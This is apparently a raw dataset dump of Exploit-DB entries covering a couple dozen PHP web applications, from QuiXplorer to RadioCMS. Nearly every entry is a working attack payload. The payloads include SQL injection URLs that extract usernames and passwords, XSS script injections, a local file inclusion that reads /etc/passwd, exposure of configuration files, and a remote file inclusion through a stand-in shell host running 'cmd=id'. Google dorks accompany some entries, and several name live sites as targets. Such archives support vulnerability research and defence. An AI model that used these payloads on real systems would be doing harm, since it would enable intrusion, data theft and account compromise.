deardaniel/secdata-raw huggingface dataset:
Exploit-DB #33416
Description: QuiXplorer 2.x - 'lang' Local File Inclusion
Type: webapps
Platform: php
Date: 2009-12-17
Author: Juan Galiana Lara

Exploit:
source: https://www.securityfocus.com/bid/37393/info

QuiXplorer is prone to a local file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

QuiXplorer 2.4.1beta is vulnerable; other versions may also be affected. 

http://www.example.com/path/?lang=../path/to/malicious_uploaded_code
Exploit-DB #10679
Description: Quiz - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-12-26
Author: indoushka

Exploit:
========================================================================================
| # Title    : quiz Cross Site Scripting Vulnerability                                 |
| # Author   : indoushka                                                               |
| # email    : indoushka@hotmail.com                                                   |
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria [PII_REDACTED]8860)       |
| # EDB-ID   : 10679                                                                   |
| # CVE-ID   : ()                                                                      |
| # OSVDB-ID : ()                                                                      |
| # DAte     :16/12/2009                                                               |
| # Verified :                                                                         |
| # Web Site : www.iq-ty.com                                                           |
| # Published:                                                                         |
| # Script   : quiz &#693;&#1589;&#65533;&#65533;&#1141;:  &#65533;&#1717;&#629; &#501;&#65533;&#1717;&#1141;&#565; http://www.arabscastle.com                       |
| # Tested on: windows SP2 Fran&#65533;ais V.(Pnx2 2.0) + Lunix Fran&#65533;ais v.(9.4 Ubuntu)       |
| # Bug      : XSS                                                                     |
======================      Exploit By indoushka       =================================
| # Exploit  :
|
| 1- http://127.0.0.1/quiz/index.php/>"><ScRiPt>alert[PII_REDACTED]60)</ScRiPt>
|
================================   Dz-Ghost Team   ========================================
Greetz : all my friend * Dos-Dz * Snakespc * His0k4 * Hussin-X * Str0ke * Saoucha * Star08 |
-------------------------------------------------------------------------------------------
Exploit-DB #41836
Description: Quiz Template 1.0 - 'testid' SQL Injection
Type: webapps
Platform: php
Date: 2017-04-07
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: Quiz Template v1.0 for ASPRunnerPro/PHPRunner. - SQL Injection
# Google Dork: N/A
# Date: 07.04.2017
# Vendor Homepage: https://xlinesoft.com/
# Software: https://xlinesoft.com/marketplace/products_view.php?editid1=2
# Demo: https://xlinesoft.com/livedemo/quiz/
# Version: 1.0
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/quiz_responses_add.php?testid=[SQL]
# # # # #
Exploit-DB #29824
Description: QuizShock 1.6.1 - 'auth.php' HTML Injection
Type: webapps
Platform: php
Date: 2007-04-09
Author: John Martinelli

Exploit:
source: https://www.securityfocus.com/bid/23368/info

QuizShock is prone to an HTML-injection scripting vulnerability because the application fails to properly sanitize user-supplied input.

Attacker-supplied HTML and script code would execute in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible.

QuizShock 1.5.5 through 1.6.1 are vulnerable. 

http://www.example.com/upload/auth.php?ts_username=indoushka&forward_to=>"><ScRiPt%20%0a%0d>alert[PII_REDACTED]60)%3B</ScRiPt>&fn=login&ts_[CREDENTIAL_REDACTED]=on
Exploit-DB #7699
Description: QuoteBook - Remote Configuration File Disclosure
Type: webapps
Platform: php
Date: 2009-01-07
Author: Moudi

Exploit:
###########################################################################
#-----------------------------I AM MUSLIM !!------------------------------#
###########################################################################

==============================================================================
                      _      _       _          _      _   _ 
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                             

==============================================================================

==============================================================================
    QuoteBook Remote Config File Disclosure Vulnerability
==============================================================================

	[Â»] Script:             [ QuoteBook ]
	[Â»] Language:           [ ASP ]
	[Â»] Website:            [ http://www.freedville.com/oss/download.php?package=QuoteBook ]
	[Â»] Founder:            [ Moudi <m0udi@9.cn> ]
        [Â»] Thanks to:          [ MiZoZ , ZuKa , str0ke , and all hackers... ]

###########################################################################

===[ Exploit ]===	
	
	[Â»] http://localhost/[path]/poll.inc

              $dbhost = "";
              $dbusername = "";
              $dbuserpass = "";
              $default_dbname = ";


Author: Moudi

###########################################################################

# milw0rm.com [2009-01-07]
Exploit-DB #8104
Description: Qwerty CMS - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2009-02-24
Author: b3

Exploit:
QWERTY CMS lite - SQL INJ
Found: b3 from GraBBerZ.com
=
Injection in index.php variable: id
http://[site]/index.php?act=publ&id=-3+UNION+SELECT+1,2,3,4,5
=
Administrator Table: rkh8t5po
Columns: secret873ktlW,pass459khyf
Column with pass: pass459khyf
Admin CP: /admin/admin.php
=
CMS PAGE : http://web-sites.kiev.ua
GOOGLE DORK : allinurl:index.php?act=publ
Greetz: GraBBerZ, Antichat, XN, no respect all Turk =\

# milw0rm.com [2009-02-24]
Exploit-DB #6363
Description: qwicsite pro - SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-09-04
Author: Cr@zy_King

Exploit:
By Cr@zy_King a.k.a t4cs1zkr4L


Qwicsite Pro (SQL/XSS) Multiple Vulnerabilities


http://localhost/?pageid=-1+union+select+1,2,3,concat(0x3a3a,username,0x3a3a,password)+from+accounts/*


<!-- checkpageuser   - -1 union select 1,2,3,concat(0x3a3a,username,0x3a3a,password) from
accounts/* -  - ::al3m::kinq -->


::Username::pass



http://localhost/?pageid=<script>alert("Cr@")</script>



www.biyosecurity.com - www.heykirmedya.net [Yakinda Online]

# milw0rm.com [2008-09-04]
Exploit-DB #41301
Description: QWIKIA 1.1.1 - SQL Injection
Type: webapps
Platform: php
Date: 2017-02-10
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: QWIKIA - Ask And Answer Platform 1.1.1 - SQL Injection
# Google Dork: N/A
# Date: 10.02.2017
# Vendor Homepage: http://xandr.co/
# Software Buy: http://xandr.co/portfolio/qwikia
# Demo: http://qwikia.xandr.co/
# Version: 1.1.1
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/search?q=[SQL]
# # # # #
Exploit-DB #737
Description: QwikiWiki - Directory Traversal
Type: webapps
Platform: php
Date: 2005-01-04
Author: Madelman

Exploit:
REQUEST:
http://[SERVER]/qwiki/index.php?page=../_config.php%00

# milw0rm.com [2005-01-04]
Exploit-DB #27333
Description: QwikiWiki 1.4 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-02-28
Author: Dr^Death

Exploit:
source: https://www.securityfocus.com/bid/16874/info

QwikiWiki is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/index.php?page="><alert(document.cookie);</script>
Exploit-DB #27409
Description: QwikiWiki 1.4/1.5 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-03-10
Author: Kiki

Exploit:
source: https://www.securityfocus.com/bid/17064/info

QwikiWiki is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/index.php?page=Home&from=[XSS]
http://www.example.com/index.php?page=Home&help=[XSS]
http://www.example.com/index.php?page=Home&from=Home&help=[XSS]
Exploit-DB #27410
Description: QwikiWiki 1.4/1.5 - 'login.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-03-10
Author: Kiki

Exploit:
source: https://www.securityfocus.com/bid/17064/info
 
QwikiWiki is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/login.php?page=Home&action=Login&action=[XSS]&debug=1&help=true&username=1&password=1
http://www.example.com/login.php?page=[XSS]&action=Login&action=Login&debug=1&help=true&username=1&password=1
http://www.example.com/login.php?page=Home&action=Login&action=Login&debug=[XSS]&help=true&username=1&password=1
http://www.example.com/login.php?page=Home&action=Login&action=Login&debug=1&help=[XSS]&username=1&password=1
http://www.example.com/login.php?page=Home&action=Login&action=Login&debug=1&help=true&username=[XSS]&password=1
http://www.example.com/login.php?page=Home&action=Login&action=Login&debug=1&help=true&username=1&password=[XSS]
Exploit-DB #27411
Description: QwikiWiki 1.4/1.5 - 'pageindex.php?help' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-03-10
Author: Kiki

Exploit:
source: https://www.securityfocus.com/bid/17064/info
  
QwikiWiki is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
  
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/pageindex.php?nothing=nothing&help=[XSS]
Exploit-DB #27412
Description: QwikiWiki 1.4/1.5 - 'recentchanges.php?help' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-03-10
Author: Kiki

Exploit:
source: https://www.securityfocus.com/bid/17064/info
   
QwikiWiki is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
   
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/recentchanges.php?nothing=nothing&help=[XSS]
Exploit-DB #27213
Description: QwikiWiki 1.5 - 'search.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-02-14
Author: Citynova

Exploit:
source: https://www.securityfocus.com/bid/16638/info

QwikiWiki is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before including it in dynamically generated HTML content.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

QwikiWiki version 1.5 is vulnerable to this issue; other versions may also be affected.

http://www.example.com/search.php?debug=&help=&query=<script>alert("XSS Vulnerability")</scri
Exploit-DB #7502
Description: r.cms 2.0 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2008-12-17
Author: Lidloses_Auge

Exploit:
###############################################################
#
#           r.cms V2 - Multiple SQL Injection Vulnerabilities 
#                                                             
#      Vulnerability discovered by: Lidloses_Auge             
#      Greetz to:                   -=Player=- , Suicide, g4ms3, enco,
#                                   Palme, GPM, Free-Hack
#      Date:                        16.12.2008
#
###############################################################
#                                                             
#      Admin Panel: [Target]/rcms/
#      Description: Almost every GET parameter is vulnerable
#      				to SQL Injection, so i won't list 'em all.
#					There are two possible tables which contain
#					user data, depending on the CMS version.
#					Table:
#						rcmsv2
#					or:
#						rcms
#
#					The Columns for username and password are:
#						username
#						userpassword
#                                                             
###############################################################

http://xxx/index.php?id=1+union+select+1,2,3,4,5,concat(username,0x3a,userpassword),7,8,9+from+rcmsv2_user/*
http://xxx/referenzdetail.php?id=-6+union+select+1,2,3,4,5,6,concat(username,0x3a,userpassword),8,9,10,11+from+rcms_user/*
http://xxx/produkte.php?id=-2+union+select+1,2,3,4,5,6,7,8,concat(username,0x3a,userpassword),10,11+from+rcmsv2_user/*

# milw0rm.com [2008-12-17]
Exploit-DB #3902
Description: R2K Gallery 1.7 - 'galeria.php?lang2' Local File Inclusion
Type: webapps
Platform: php
Date: 2007-05-11
Author: Dj7xpl

Exploit:
        \\\|///
      \\  - -  //
       (  @ @ )
----oOOo--(_)-oOOo---------------------------------------------------

[ Y! Underground Group ]
[   Dj7xpl@yahoo.com   ]
[    Dj7xpl.2600.ir    ]

----ooooO-----Ooooo--------------------------------------------------
    (   )     (   )
     \ (       ) /
      \_)     (_/

---------------------------------------------------------------------

[!] Portal   :   R2K Gallery v1.7
[!] Download :   http://usuarios.lycos.es/r2kscripts/
[!] Type     :   Local File Include Vuln

---------------------------------------------------------------------

---------------------------------------------------------------------

Bug :

http://[Target]/[Path]/galeria.php?pictures_folder=[Gallery Folder]&lang2=[Local File]

Example :

http://Target.ir/gallery/galeria.php?pictures_folder=./example/&lang2=../../../etc/passwd%00

---------------------------------------------------------------------

# milw0rm.com [2007-05-11]
Exploit-DB #36693
Description: RabbitWiki - 'title' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-02-10
Author: sonyy

Exploit:
source: https://www.securityfocus.com/bid/51971/info

RabbitWiki is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/webmasters/s/RabbitWiki/index.php?title=%22%3E\%3Cscript%3Ealert%28%22rabbit%20says:hello%22%29%3C/script%3E
Exploit-DB #28520
Description: Ractive Popper 1.41 - 'Childwindow.Inc.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-12
Author: SHiKaA

Exploit:
source: https://www.securityfocus.com/bid/19972/info

Ractive Popper is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue could allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Version 1.41-r2 and prior are affected by this issue.

http://www.example.com/[Script Path]/childwindow.inc.php?form=http://SHELLURL.COM?&cmd=id
Exploit-DB #34707
Description: RadAFFILIATE Links - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-08-17
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/43459/info

RadAFFILIATE Links is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/links_style1/?id_category=1&feat=1%00"&#039;><ScRiPt%20%0a%0d>alert[PII_REDACTED]25)%3B</ScRiPt>
http://www.example.com/links_style1/index.php?id_category=0&feat=1>"><ScRiPt %0A%0D>alert[PII_REDACTED]16)%3B</ScRiPt>
Exploit-DB #9194
Description: radbids gold 4.0 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2009-07-17
Author: Moudi

Exploit:
###########################################################################
#-----------------------------I AM MUSLIM !!------------------------------#
###########################################################################

==============================================================================
                      _      _       _          _      _   _ 
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                             

==============================================================================
        [Â»] [!] Coder - Developer HTML / CSS / PHP / Vb6 . [!]
==============================================================================
        [Â»] RadBIDS GOLD v4 Multiple Remote Vulnerabilities
==============================================================================

	[Â»] Script:             [ RadBIDS GOLD v4 ]
	[Â»] Language:           [ PHP ]
        [Â»] Download:           [ http://www.radscripts.com/auctionsoftware/ebay_style/index.html  ]
	[Â»] Founder:            [ Moudi <m0udi@9.cn> ]
        [Â»] Thanks to:          [ MiZoZ , ZuKa , str0ke , 599em Man , Security-Shell ...]
        [Â»] Team:               [ EvilWay ]
        [Â»] Dork:               [ Powered by: RadBids Gold v4 ]
        [Â»] Price:              [ $199 ]
        [Â»] Site :              [ https://security-shell.ws/forum.php ]

###########################################################################

===[ Exploit + LIVE : SQL INJECTION vulnerability ]===	
	
[Â»] http://www.site.com/patch/index.php?a=view_forum&fid=[SQL]	

[Â»] http://www.radbids.com/auction_software/test/index.php?a=view_forum&fid=null+union+select+1,2,version(),4,5--&admin=0
[Â»] http://havetosellitnow.com/index.php?a=view_forum&fid=null+union+select+1,2,version(),4,5--&admin=0
    RESULT : 5.0.67-community 

===[ Exploit + LIVE : BLIND SQL vulnerability ]===

[Â»] http://www.site.com/patch/index.php?a=view_forum&fid=[BLIND]

[Â»] http://www.radbids.com/auction_software/test/index.php?a=view_forum&fid=1%20AND%20SUBSTRING(@@version,1,1)=5&admin=0 TRUE
    http://www.radbids.com/auction_software/test/index.php?a=view_forum&fid=1%20AND%20SUBSTRING(@@version,1,1)=4&admin=0 FALSE
    SO MYSQL: V5

===[ Exploit XSS + LIVE : vulnerability ]===

[Â»] http://www.site.com/patch/storefront.php?user=104&mode=[XSS]

[Â»] http://www.radbids.com/auction_software/test/storefront.php?user=104&mode=1>"><ScRiPt %0A%0D>alert[PII_REDACTED]16)%3B</ScRiPt>
[Â»] http://www.getmebids.com/storefront.php?user=104&mode=1>"><ScRiPt %0A%0D>alert[PII_REDACTED]16)%3B</ScRiPt>


Author: Moudi

###########################################################################

# milw0rm.com [2009-07-17]
Exploit-DB #10231
Description: Radio istek scripti 2.5 - Remote Configuration Disclosure
Type: webapps
Platform: php
Date: 2009-11-25
Author: kurdish hackers team

Exploit:
turkish radio php script
======================================================

RADIO istek scripti (tr) Version 2.5 (tr) Remote config Vulnerability


<<!>> Found by? :? kurdish hackers team

<<!>> C0ntact : pshela [at] YaHoo .com 

<<!>> Groups : Kurd-Team 

<<!>> site : www.kurdteam.org

=======================================================
+++++++++++++++++++ Script information+++++++++++++++++
=======================================================

<<->> script :: RADIO istek scripti (tr) Version 2.5 (tr)

<<->> download script ::
 http://www.scriptlerim.net/download/radio-istek-scripti-tr-.html

=======================================================
+++++++++++++++++++++++ Exploit +++++++++++++++++++++++
=======================================================
<<->> Dork:"2007 RADIOZAZA www.radiozaza.de? istek hatti Version 2.5"
<<->> 0r
<<->> Dork:"estafresgaftesantusyan.inc"


<<->> Exploit ::

>>> http://server/path/estafresgaftesantusyan.inc

Now can see all information Config ...

=======================================================

=======================================================

<<->> All freinds , Zryan_kurd , all member kurdish hackers
 team
Exploit-DB #25726
Description: RadioCMS 2.2 - 'menager.php?playlist_id' SQL Injection
Type: webapps
Platform: php
Date: 2013-05-26
Author: Rooster(XEKA)

Exploit:
#################################################
+
+ Title: RadioCMS 2.2
+ Author: Rooster(XEKA)
+ Greetz to: Isis,luz3r,slider
+ Contact: forum.xeksec.com
+
#################################################
  
--[ Vuln Code ] --
  
...
if ($_GET['playlist_id']) {
  $playlist_id_get = ['playlist_id'];
}
...
if ($playlist_id != "") {
$query = "SELECT * FROM `playlist` WHERE $playlist_id;";
...
 
  
################################################
  
--[ Exploitable ]--
  
http://server/radio/meneger.php?fold=/var/www/music&search=1%27&playlist_id=&playlist_id=-1+union+select+1,version%28%29,3,4,5,6,7,8,9,10,11,12
  
################################################